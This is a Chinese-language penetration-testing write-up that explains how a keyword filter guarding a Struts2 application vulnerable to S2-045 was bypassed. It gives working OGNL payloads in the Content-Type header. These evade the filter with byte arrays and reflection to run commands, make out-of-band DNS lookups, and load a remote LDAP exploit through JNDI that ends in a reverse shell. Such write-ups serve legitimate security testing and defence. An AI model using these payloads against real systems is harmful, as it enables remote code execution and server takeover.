记一次St2-045的绕过 – 作者:SecIN技术社区

原文来自SecIN社区—作者:tkswifty

引言

记一次内部安全测试中对某系统的St2-045绕过过程。

确定Struts2框架

在针对某个目标进行安全测试时,信息收集是不可或缺的一环。识别系统所使用的框架往往能更有针对性的“对症下药”。例如rememberMe=deleteMe可以尝试shiro反序列化、springboot的绿叶logo可以尝试actuator的未授权访问等。一般对于Struts2开发的应用,通常会通过以.do .action结尾的后缀来判断,但是SpringWeb同样可以以.do .action结尾来定义相关的接口。
那么可以通过以下方法简单的区分Struts2和SpringWeb:

  • actionErrors参数触发报错

在相关的接口追加actionErrors参数,若是Struts2应用则会触发报错:
image.png

  • Spring的后缀/结尾匹配模式(TrailingSlashMatch)
    • useTrailingSlashMatch默认设置为true,类似/user.do/的访问跟/user.do的结果是一样的。

结合这两个方法可以简单的区别SpringWeb和Struts2应用。当追加actionErrors参数触发报错时,很大的可能是Struts2应用,但是考虑到屏蔽了对应的报错信息,再结合TrailingSlashMatch在,do后追加/查看是否正常访问进行综合判断即可。

绕过过程

通过上述方式判断出来应用框架后,使用xray进行扫描,比较幸运存在St2-045,算是比较旧的漏洞了。可以通过Content-Type header头,尝试注入OGNL表达式,达到执行命令的效果。
判断漏洞的poc如下:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data;

通过执行对应的ongl表达式,会计算对应的算数表达式,然后在response的HTTP Header追加对应的计算结果:
image.png
尝试进行命令执行,发现失败了,没有提示waf拦截,请求应该是正常发送过去了,但是相关命令回显的ognl表达式并没有执行:
image.png
这里估计是比较旧的系统了,可能是升级Struts2的版本可能导致例如Spring不兼容的问题,影响稳定性,所以一直搁置,没有升级系统,也没有往SpringWeb进行迁移,但是为了保证安全性,可能手工修改Ognl.jar源码,增加恶意代码的过滤,亦或是通过filter的方式对Content-type的内容进行安全检查。
没办法查看源代码的具体过滤措施,那就只能慢慢摸索了。相关过程如下:

unicode编码绕过

因为ognl表达式支持支持\u这种编码形式,猜测有可能是关键字检测,那么直接对poc尝试进行unicode编码,用最简单粗暴的方式进行处理:

%{(#_='multipart/form-data').unicode编码部分}

比较可惜的是,通过unicode编码后触发了另外的安全检测措施,被当成xss攻击请求被filter拦截了。那么就只能另辟蹊径了。

关键字替换

目的是主要为了要执行命令,那么自然而然会用到ProcessBuilder和java.lang.Runtime了。猜测可能是filter等措施对类似的敏感关键字进行了检测。
首先印证这个猜想,修改poc尝试执行new String创建字符串:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',(#[email protected]@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.String('tkswifty')))}.multipart/form-data;

可以看到new String成功,说明是没问题的:
image.png
此时尝试创建java.lang.ProcessBuilder,正常情况下应该会在header返回类似内容(代表新建对象成功):

vulhub: java.lang.ProcessBuilder@6353c60b

但是发送poc后并未达到预期结果:
image.png
这里大概印证了之前的猜测,的确是对相关的关键字进行了处理。绕过思路主要也是围绕关键字替换进行思考,经过一番挣扎主要得出如下思路

  • 通过反射进行调用

首先想到的是通过反射的方式进行调用。结合反射,对于java.lang.Runtime关键字,可以通过byte字节转换进行屏蔽检查:

#cmd=new java.lang.String(new byte[]{106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}==java.lang.Runtime)

通过上述方式尝试使用Class.forName进行类的加载:

#p=Class.forName(new java.lang.String(new byte[]{106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}))

可以看到已经绕过对应的安全检测,代码执行成功了:
image.png
然后就是获取Runtime.getRuntime().exec()方法然后invoke进行命令执行了。
对于相关的关键字,考虑使用getDeclaredMethods()(getDeclaredMethods(),该方法是获取本类中的所有方法,包括私有的(private、protected、默认以及public)的方法)通过数组调用的方式进行调用。

#m=#p.getDeclaredMethods()[7].invoke(#p,null)).(#t=#p.getDeclaredMethods()[15].invoke(#m,"whoami")

结合前面的思路进行poc组装,这里执行curl结合dnslog进行验证:
image.png
可以看到命令执行成功,该思路可行。

  • 结合JNDI进行利用

前面思路比较局限,总是围绕着ProcessBuilder和java.lang.Runtime进行思考,联想到fastjson组件的利用方式,其实如果服务器出网的情况下,Struts2同样可以结合JNDI的方式进行利用,并且这里并不涉及到前面的关键字影响。
首先判断服务器是否出网,ognl支持类静态的方法调用和值访问,@[类全名(包括包路径)]@[方法名 | 值名],例如:

@java.lang.String@format('foo %s', 'bar')

那么可以结合java.net.InetAddress进行带外请求:
st045_5.png
相关poc:

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.net.InetAddress@getByName("dnslog地址"))}.multipart/form-data; 

若服务器出网的话结合dnslog可以接收到相关的请求:
image.png
然后就是加载JNDI了,相关poc:

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#a=new com.sun.rowset.JdbcRowSetImpl()).(#a.setDataSourceName("ldap://ldap地址/Exploit")).(#a.setAutoCommit(true))}.multipart/form-data

dnslog成功接收到对应的请求:
image.png
进一步加载对应的恶意代码并成功反弹shel:
image.png
至此本次安全测试就结束了,可以给开发提工单了-0

结语

洞是老洞,思路是相似的。现今大多数的黑盒测试都是在waf、filter等保护下进行开展的,在进行测试的同时考虑更多的过滤拦截的内容,针对性逐个突破。同时,对于一些常见漏洞组件(struts2、fastjson)在后续的开发也应该进行及时的管控,必要的情况下对旧系统迭代迁移。
image.png

来源:freebuf.com 2020-12-08 10:43:37 by: SecIN技术社区

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论